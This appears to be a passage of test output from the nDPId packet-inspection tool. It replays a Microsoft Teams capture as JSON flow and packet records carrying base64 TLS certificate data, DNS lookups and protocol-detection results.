MI5+vrG+wwV9MdXq3rBSGLoxQncTvajDkV9i5fN4tSuYczQhYrBGR08owS10B3943mfIHr5DhObTJG3iM8z8j7RasCVMq\/+VyYlJVIsyOMCOHG8sv9fTaE2ij6GigWf\/juNwMk1x5uPV9+\/O8dKEkydhAbtb9ZVHFRiFtv\/fXg8D\/Yemtk8TlkLO6Zhh+iFVXckQUpYNXe1ooy7P7hUDicTS++Mgu1XjAkhTrNNty8pZaWucLOG4jFDYVxnhRF9NoO8URVfJk3w9jlssLCVT0Qxx7zinN8mIQmEz1QrPdOYm1I\/wWe+HOjmr36nHdTbGfZNfvsP5qR2Y+OL8cjV1OlMkGgqfDsgP5F+alHjTAiU4lKdHxO5qwAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJrfgVw7j67peZa5mnmngfI52lUoRiMCxYJmB7YV3v2cOhqbkQnSZo8LiRf4cYchfzjTP5olALc10Kv4CHo281Bb3yspJ96k3SSS+vTGcI02KprwgN41+h5CnQmBqtUHChalxVpCbUK+HkKCtFcwmVtFK9SP0woGxnOTpOGD78W\/BSeneM2zC+CeIhbzmNymFOjMlNcj+dBQmbu1CxCV8d8C6Y+OnVaZPNiP01j7XJJ+PXv4UEla9xB7d\/jmSpBKVVLelK10CaBkVyzNB5CfFq2Vw9EGuvHvbAW1BKyp3Bsxmw4tGZUET95my601cq8ZggiyFDoWX7A8m9uNDLAC1iYf6BVxxO\/5YzlDjOnCki6hwqAwJQ6WJ1+eoyuC1hC9PBkepof+VSE6XEH8AZjML5L\/Zji0uGacDxJoS0qshrtemP+eppxTbDMRpNCuUkfXi4\/xlqy5KZqPLPGtZBjDJrsAZN5QcMC77MZrrtOg78DxXA3yzHpZ2hgzL1kQrWcULF8iQ0pE4ejd4OdVFk4J7wNMDEhQWvAD347vY8pbZ4dDQCwGth8PPlPAZj\/XFBXmCGKYSH6D5ae1XVEtVC1h\/TRd1LeAzdJ9zrEkO\/OXbGwT3ooXyYr1SJVC9xKQ4xAX9qEAxTYqZZGeBexCLlq4mRv\/1E61+mZV2YOOvwgpjfoLAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEF"} +00425{"flow_id":59,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2328,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980527,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyUAbup7MTugiOmEIAQEABXogAAAQEICjCEz1JS+MLF"} +02371{"flow_id":59,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2329,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980564,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUGwtAAG4Gd\/IoT4opwKgBBgG77JSCI6YQqezE7oAQBAXiXwAAAQEIClL4wsUwhM8xBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAPvLPMKV6vx5q3zlYGCg8w53u54HFS\/xn9r8fTjfa3vCv7or5A3tgZ3THO9r\/K0rr\/VR1E4vlwoESulISILopijrNQyTM1RcF\/pwWP3PgbUHAdj3yq0jFWWJkukRPChiCP0HqPxg6WOegMFd19dFqMRS2lJll2rboAd7kq\/u18+UZChhfpAJX3rZcJm9z\/i4J9QhDxA\/HJH+dKGdlodxb8Dr9+HCF56VPJN5CPx1EO12FBoUdHhzU2U5R5P0eERbMngDZlxqX42XHhjUbU3a+MtEsQUlLoz6TDFt3VwcwPDWLjNFpoif6VeirnRAe0RffumyJ08lb1wuUiKnYtJXXjhYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBT9VOfspjpsX70VZxDzhO\/uVmwbaRgPMjAyMDA0MTMyMDQwMTdaMIGbMIGYMEwwCQYFKw4DAhoFAAQUKYX8YT2+L7ASD15CDkyew9We\/XwEFAj+JZ906ocEwry7jqg4XzPG0WxlAhNuABQ+IygxVnX+3gt8AAAAFD4jgAAYDzIwMjAwNDEzMjA0MDE3WqARGA8yMDIwMDQxNzIwNDAxN1qhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNDIwNDAxN1owDQYJKoZIhvcNAQELBQADggEBALbgm71AWYOZTie0KeKjYwxvVoXz4vDiHOqZHdOoIowBWr\/drgQ3l0ZdIQRjTiy\/BXVIiawP8tk411gNqJEKbcsIwrSIvmaUStGQuDpnMTHfE8Zw8G2Jb79BTaGtCmHNkf81sG6cFp4MTrMWzImUKZcf33w6cI97M5ldv\/VwXh+RrvcgjRUQhCK0DEFYzMbADuRhRZAETz3zWdRiTOoSExrU\/SkfLarmuqe1Rtze5mRTP40QQb51tfRk4neXLXLHLko\/n3SEmQwJp5cZ1IhXOqlPlPFYWpPefkqmOCPIyTCa40sRXghx3Gactxtfjee24xwwtXUYKA\/YqWLg9IgCji6gggUjMIIFHzCCBRswggMDoAMCAQICE24AE\/D2Kp4kxgB1wsEAAAAT8PYwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA1MB4XDTIwMDMxNTE1MjQzOFoXDTIxMDMxNTE1MjQzOFowKzEpMCcGA1UEAwwgTWljcm9zb2Z0X0lUX1RMU19DQV81X0tleUJpbmRpbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDLL8jj3UBzU\/au5HTPbtPMCk5oVv210n++4hY3ar0HqI9QquzZ4bSqFbTrvtEbBDUYjsuWRRyh7PmGb4\/i5111AQMiqmHCXMlUEoISsFDVWgU7ngCnMhwhp48l8JBmtkGzagdLpyHYHcSiPAlGCLd3jLiBKzM\/ueqOFFcN5TX5VPlL2bsNstKGUgz+WDhIfD0rhDLaagjE5kTA"} +02037{"flow_id":59,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2330,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980695,"pkt_caplen":1259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1259,"pkt_l4_len":1225,"pkt":"KDc3AG3IEBMx8Tl2CABFAATdGwxAAG4GeOgoT4opwKgBBgG77JSCI6uwqezE7oAYBAViWgAAAQEIClL4wsUwhM8x5Hlzx57WHJdADehPDFVjuBfeAlZZfr5n6B895zjgrfQ5aiOSHga1h087GXde6\/l1KqhKH6h6hhEXE5ueZlHVt8E78+aTJ8R72aoP7RFMtNiGy6NcvSO5txy6nvamfpgaF+6trEkXAgMBAAGjgdYwgdMwHQYDVR0OBBYEFP1U5+ymOmxfvRVnEPOE7+5WbBtpMA4GA1UdDwEB\/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDCTAPBgkrBgEFBQcwAQUEAgUAMB8GA1UdIwQYMBaAFAj+JZ906ocEwry7jqg4XzPG0WxlMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCIfahnWD7tkBgsmFG4G1nmGF9OtggV2BzJtHgcjpFgIBZAIBBzAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMJMA0GCSqGSIb3DQEBCwUAA4ICAQBuHFOoYYKg3cb0bUdjBxt0hVtcSnqF5W8ns\/9POrOjPDOf06GOC96qd9hr7hzAMCTioOAKpJ6fxlxkaOZvZAdvbi7AB\/SSaqRPF+sSsVoEuHOeBJYXeKJ2gjkaigkkIN5VcPFG2IjgkgIkk\/ho4Js9P+Uz3qAYfTPWFBpG+Iqrz0ohHyF5lnGmmGqBfpPCaUGisapj1uGyPYySvMpw6VrkfurOb2qw4NKYKHL+lu2XK0iQumrgg5H3wXsc3A2dOpPUQk4f6u4Cl+3z74P+XmrgzFCXvFQsZd46CNTqGRoEomrdF1xluttGd23tPXgK2Ij+kxVrxEG3nuAMNfvpbW6DLNtmaIB2\/MnW5seyQgrzAqc4X4+ejAnzHVfaGwQw8s2APMSDDKPlXsPqR4WzmEcRLj8qZWAjgb7afrWYUdpLL6GNC8talUqDHqz0IUfEREp2wMTNU05Iw3OOmn+EPWxxb3yKSz98D0BK3d0BfGuuINxw7D8yrEe5C7HzxcJW93BSLniXitCzJ7xP7vgE\/u7evLIsG4aYySMy3gMmFMW0e1fLKFisP7WNWhMY40d9uen4aX8Wo8+uJ5lC2sVG\/Fl3f5qa\/nbuVlQ5c4F9X4YT3X7ghItjAt95eutjN0qOIZLK0vLQBwDDhvcC5C2Ogjgr8KGdKMh8+Xh7DKUI1mYyvgwAAUkDABdBBFaextCTWVGlUc4\/nJZPiNXi7yMQE9JLYURjzEwIBAsbaNJhwuzplixERcrVF\/J3j\/GYHPs8LQQoPspm5I33wdoEAQEACJMWRl4sH0m\/zZfPV9NphA95Sp0WGgGZ5LWTmueROXpEideb4B4xfFAvSys7kqxWUHLylRuNPOzRqUdQOMKSFP0iSX1EiffIGRoCGYGQvWrAH4XF20yJfrTS32bSVnlTGXUuR9goWWYr5xy6yK74POT15P+M5rTiODs2eg+H\/WWqHn+CILUDIUlCgdhZjcZp3p8Tl4QPsjGWmB3MUimd55RQ9K79IegYpW4agAa8s4cn1v56IvOadOGGW9fIrOQKfPecXqBflwGLSxObaKf4eFPPw3SiBGufHNk2Rb75XQowGByWIC0gKFaqViQn71zGPatMOrnKIdxS19bJ35hoqA4AAAA="} +00425{"flow_id":59,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2331,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":980730,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyUAbup7MTugiOwWYAQD9pNfwAAAQEICjCEz1JS+MLF"} +00676{"flow_id":59,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2332,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041690,"pkt_ts_usec":991303,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"EBMx8Tl2KDc3AG3ICABFAADqAABAAEAGxefAqAEGKE+KKeyUAbup7MTugiOwWYAYEAAW4AAAAQEICjCEz1xS+MLFFgMDAEYQAABCQQSUnYSpybVYpi0p11KRpbmhDxBYhpXs5PROhBf4L2I5udzZUNYx70vQNqldliW9YUOr3Ds7MC+ESYnGUnUCnqeiFAMDAAEBFgMDAGCQ8BEm9rKcsTBnitntEAU7w\/ebg8cwxch5T6MJMx5sWNKe3opj2yGBAl7jJQwnA6\/JZOhoJxAXbcFpzYdB74brSKX5UU\/5TfIPccnelKyI+2smrraCFoe9GA\/I3dLOqBk="} +00573{"flow_id":59,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2333,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":23203,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"KDc3AG3IEBMx8Tl2CABFAACfGw1AAG4GfSUoT4opwKgBBgG77JSCI7BZqezFpIAYBAR8aAAAAQEIClL4wvIwhM9cFAMDAAEBFgMDAGA8Y2ZIWeRHbyEr11qF9jGK6p2aZClxjDUYQUISatc4CMtjM8T0AW1danbz\/TUonKqcSp07EQXLmUGHz0azZhSQ\/P1XmIHbTE3XM0JPoHoHdkx69JC4UjQ23LrepYpKgj0="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2343,"source":"teams.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1587041691075,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":62863,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2343,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":75869,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"EBMx8Tl2KDc3AG3ICABFAABZLy0AAP8RCQ\/AqAEGwKgBAfWPADUARdrUdPIBAAABAAAAAAAABGVtZWECbmcDbXNnDHRlYW1zLW1zZ2FwaQ50cmFmZmljbWFuYWdlcgNuZXQAAAEAAQ=="} +00666{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2343,"source":"teams.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1587041691075,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":62863,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"emea.ng.msg.teams-msgapi.trafficmanager.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00551{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2351,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":148968,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"KDc3AG3IEBMx8Tl2CABFAACQrGdAADkREZ7AqAEBwKgBBgA19Y8AfAAAdPKBgAABAAIAAAAABGVtZWECbmcDbXNnDHRlYW1zLW1zZ2FwaQ50cmFmZmljbWFuYWdlcgNuZXQAAAEAAcAMAAUAAQAAADwAGw9tc2dhcGktcHJvZC1zZnIIY2xvdWRhcHDANMBJAAEAAQAAAAoABDRybAg="} +00693{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2351,"source":"teams.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":2,"flow_first_seen":1587041691075,"flow_last_seen":1587041691148,"flow_tot_l4_data_len":193,"flow_min_l4_data_len":69,"flow_max_l4_data_len":124,"flow_avg_l4_data_len":96,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":62863,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"emea.ng.msg.teams-msgapi.trafficmanager.net","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.108.8"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2352,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1587041691149,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.108.8","src_port":60565,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2352,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":149774,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG2I\/AqAEGNHJsCOyVAbumbhw9AAAAALAC\/\/8jXgAAAgQFtAEDAwUBAQgKMITP9QAAAAAEAgAA"} +00437{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2353,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":168973,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8PCRAAHEGa280cmwIwKgBBgG77JWud4Fgpm4cPqASIABnNAAAAgQFoAEDAwgEAggKUqoqrDCEz\/U="} +00424{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2354,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":169076,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG2JvAqAEGNHJsCOyVAbumbhw+rneBYYAQEAml0QAAAQEICjCE0AhSqiqs"} +00724{"flow_id":61,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2355,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":169247,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"EBMx8Tl2KDc3AG3ICABFAAESAABAAEAG173AqAEGNHJsCOyVAbumbhw+rneBYYAYEAkjHAAAAQEICjCE0AhSqiqsFgMBANkBAADVAwNwlpHiXHB3s5dLKatTLHHCd3zPHP62TkNPLWHwExyS1QAAHAoKzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACQysoAAP8BAAEAAAAAJAAiAAAfZW1lYS5uZy5tc2cudGVhbXMubWljcm9zb2Z0LmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACMrKAB0AFwAYABsAAwIAAhoaAAEA"} +00743{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2355,"source":"teams.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":4,"flow_first_seen":1587041691149,"flow_last_seen":1587041691169,"flow_tot_l4_data_len":370,"flow_min_l4_data_len":32,"flow_max_l4_data_len":254,"flow_avg_l4_data_len":92,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.108.8","src_port":60565,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"emea.ng.msg.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02364{"flow_id":61,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2356,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":190981,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPCZAAHEGZdU0cmwIwKgBBgG77JWud4cBpm4dHIAQBAU1egAAAQEIClKqKsEwhNAIOSG3N+pypQO63Wiq+lXA9TALBgNVHQ8EBAMCBLAwgdYGA1UdEQSBzjCBy4IabXNnYXBpLnRlYW1zLm1pY3Jvc29mdC5jb22CHCoubXNnYXBpLnRlYW1zLm1pY3Jvc29mdC5jb22CIHBnLm1zZy5pbmZyYS50ZWFtcy5taWNyb3NvZnQuY29tgiIqLnBnLm1zZy5pbmZyYS50ZWFtcy5taWNyb3NvZnQuY29tghpuZy5tc2cudGVhbXMubWljcm9zb2Z0LmNvbYIcKi5uZy5tc2cudGVhbXMubWljcm9zb2Z0LmNvbYIPKi5tc2cuc2t5cGUuY29tMIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUCP4ln3TqhwTCvLuOqDhfM8bRbGUwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQAL6k2g2YNYubaMQKNE1HOCJsRU+ocKgoaCUntNxasdyLm3sRjtpRjulwsmHOrGDRgisqGVKYPLOcPDYZIMeHJRyVC9lP7rDFU4mwEdob9bYoVAdPJ2aPEkM0RXDf2sxO3K11UvhIdAETfgAyN9OClLnbVRlD+uqcSQfdbt9NgeCozGT3uA8rW\/bT\/D+YBI2NyvjucwOF4fAmlb69iaENpHzKyKPP3gChGWXwPlsCAHcWT5DWYPJpL\/3DLl81bF7tO5zY3zxJMB1OeVgvUKXeAS+CwfpLrKG0C\/eU6XUXAM17Wou3AdZL8ESxq7zdQlPlfLXcrxTWn\/9yqOyE2Dy4v0AC0DldAOOVuaP1Qw\/jkncKrZHy6CBjd4i6SlAvV9SXMMji3v+3tCPq3NDcYwEwIaLF7pK3asugmSWv+kUpt0b\/7nszZggDVjiXOaXQXGxlI76wm\/oQiScQLHdORY8mAIDxrFvAZJI7K5Yvpy\/uFT0TJ1pbtUzx0WkkWUFI1ibsaySDvxZ5PLRRf\/b+CTj2DeuAhuHN0bB0Jvlf\/geQ+McX36gP8ZJv4hZskP2p2eU4LlDvKZxVbJkUfzIhrbjoxfdlKOwkktqzdS57vVoeibk02\/OS8fdv79ZBLOsYxfdKaSWNDVEN1Q82426XhaggJ7kscl3nnmFp\/\/6iCwQwe+4wAFuDCCBbQwggScoAMCAQICEAiIzVJfGSRETRSlgpHeuVIwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUzMDNaFw0yNDA1MjAxMjUzMDNaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC"} +02365{"flow_id":61,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2357,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041691,"pkt_ts_usec":191015,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPCVAAHEGZdY0cmwIwKgBBgG77JWud4Fhpm4dHIAQBAVUQgAAAQEIClKqKsEwhNAIFgMDGB4CAABeAwNemFWbphWJj3FHoaitshBkuLDswlXgPqBiBzBEu1JtHyDXQAAAZRrutGMTFhK\/e+kmqI+\/Zkfq5RwCFGfplOpyVcAwAAAWAAUAAAAQAAUAAwJoMgAXAAD\/AQABAAsADzgADzUACXcwgglzMIIHW6ADAgECAhMtAAXjKxcECLqmmESDAAAABeMrMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xOTA0MTYxMTE2MzBaFw0yMTA0MTYxMTE2MzBaMCUxIzAhBgNVBAMTGm1zZ2FwaS50ZWFtcy5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6bCd8p5bTLvzxk8peM7yBrK70g2\/ne6IdANafglT8XcZya+kzQ+Mrq7kzfFADke3O8Tx7TUot+0PBV0bRjhOIjoJDjeYjEK5EYLvzP\/ySf7pw9kLmBrKdGIghjawzgMfBQ+yDuY\/xusYl8Z47kqd+jPCmEco1090vX6eIgZ8wGG2\/T7lHMlix9MM4ujKDmlWL49Z23s\/pkG8X5qSmPCSe8hYe88aLueRsTy6p3v3Xu7dyeSEXAzx\/bDVVaxz3kOPZBiVLWJJOMXLcEmbiMaXAMI6U8P9IrZe+hOcEVIK9XFTfMj\/46Q93XlPcSEmIEfpYZtfvDv7sl6\/A5f5fQGzFwIDAQABo4IFMzCCBS8wggH3BgorBgEEAdZ5AgQCBIIB5wSCAeMB4QB3ALvZ37wfinG1k5Qjl6qSe0c4V5UKq1LoGpCWZDaOHtGFAAABaiXmCwwAAAQDAEgwRgIhAOGrg6reSNR0KyBcO7Q7gCii\/1TfL9g1oiqVd0YwoVapAiEAo0slJl38aVeAP4NsC2+9NTgOONNX+OjfBhbPKxRd44EAdgBVgdTCFpA2AUrqC5tXPFPwwOQ4eHAlCBcvo6odBxPTDAAAAWol5gw+AAAEAwBHMEUCIQDkM0pbU+Au4qjEvxjAp\/EAbF2TL4NdBrZsJZN5DU0NVwIgQTjJD4VNExwZMMAMGeIVulDmRVcC9IBVnX9gEFloCAQAdgBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAWol5gsiAAAEAwBHMEUCIQDDgYufFTxeWXSxmFvArocCbZmbbMDfyXZOhvBhqyPhVQIgYFyw6bpP5pJ3KJPpJJoXXep5ToH0HnBguiw6qxLe5xoAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWol5gsIAAAEAwBHMEUCIBS3pBnZlixZCjQBEekFzZeTixM7WI6B2W3gzs33Y16dAiEA9fSLRhO193sisnPmL+HqxGK+KzX8HMBeMyZ3aF2OKikwJwYJKwYBBAGCNxUKBBowGDAKBggrBgE